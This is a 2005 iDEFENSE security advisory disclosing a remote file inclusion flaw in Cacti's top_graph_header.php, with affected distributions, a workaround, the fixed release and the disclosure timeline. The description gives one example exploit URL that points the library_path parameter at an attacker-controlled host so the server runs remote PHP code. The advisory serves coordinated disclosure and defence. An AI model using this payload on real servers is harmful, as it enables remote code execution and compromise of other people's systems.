Multiple Vendor Cacti Remote File Inclusion Vulnerability iDEFENSE Security Advisory 06.22.05 www.idefense.com/application/poi/display?id=265&type=vulnerabilities June 22, 2005 I. BACKGROUND Cacti is a round-robin database (RRD) tool that helps create graphs from database information and is available on multiple Linux distributions. II. DESCRIPTION Cacti contains an input validation error in the top_graph_header.php script that allows an attacker to include arbitrary PHP code from remote sites. This in effect allows arbitrary code execution with the privileges of the web server. The vulnerability specifically exists due to the script trusting a user supplied library_path variable. The following example demonstrates how this might be exploited: http://example.com/path_of_cacti/include/top_graph_header.php?config[lib rary_path]=http://attackersite.com/ In this way, the files "http://attackersite.com/include/html_tree.php" and "http://attackersite.com/include/rrd.php" will be included and executed on the vulnerable server. III. ANALYSIS Successful exploitation of this vulnerability allows a remote attacker to gain shell access with the privileges of the web server. An attacker can then attempt to escalate privileges using local exploits, possibly allowing a full root compromise. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability on Cacti 0.8.6d. Earlier versions are suspected vulnerable. The following vendors include susceptible Cacti packages within their respective operating system distributions: The FreeBSD Project Gentoo Foundation Novell Inc. (SuSE) Debian also includes a package for Cacti, however, it is an older, unaffected version. V. WORKAROUND Require authentication to access the Cacti installation. Restrict access to web servers using Cacti to only trusted hosts. VI. VENDOR RESPONSE Cacti 0.8.6e has been released to address this vulnerability and is available for download at: http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz or http://www.cacti.net/downloads/cacti-0.8.6e.zip Release notes for Cacti 0.8.6e can be found at: http://www.cacti.net/release_notes_0_8_6e.php VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2005-1524 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 05/12/2005 Initial vendor notification 05/12/2005 Initial vendor response 06/22/2005 Coordinated public disclosure IX. CREDIT Maciej Piotr Falkiewicz and an anonymous researcher are credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice@private for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
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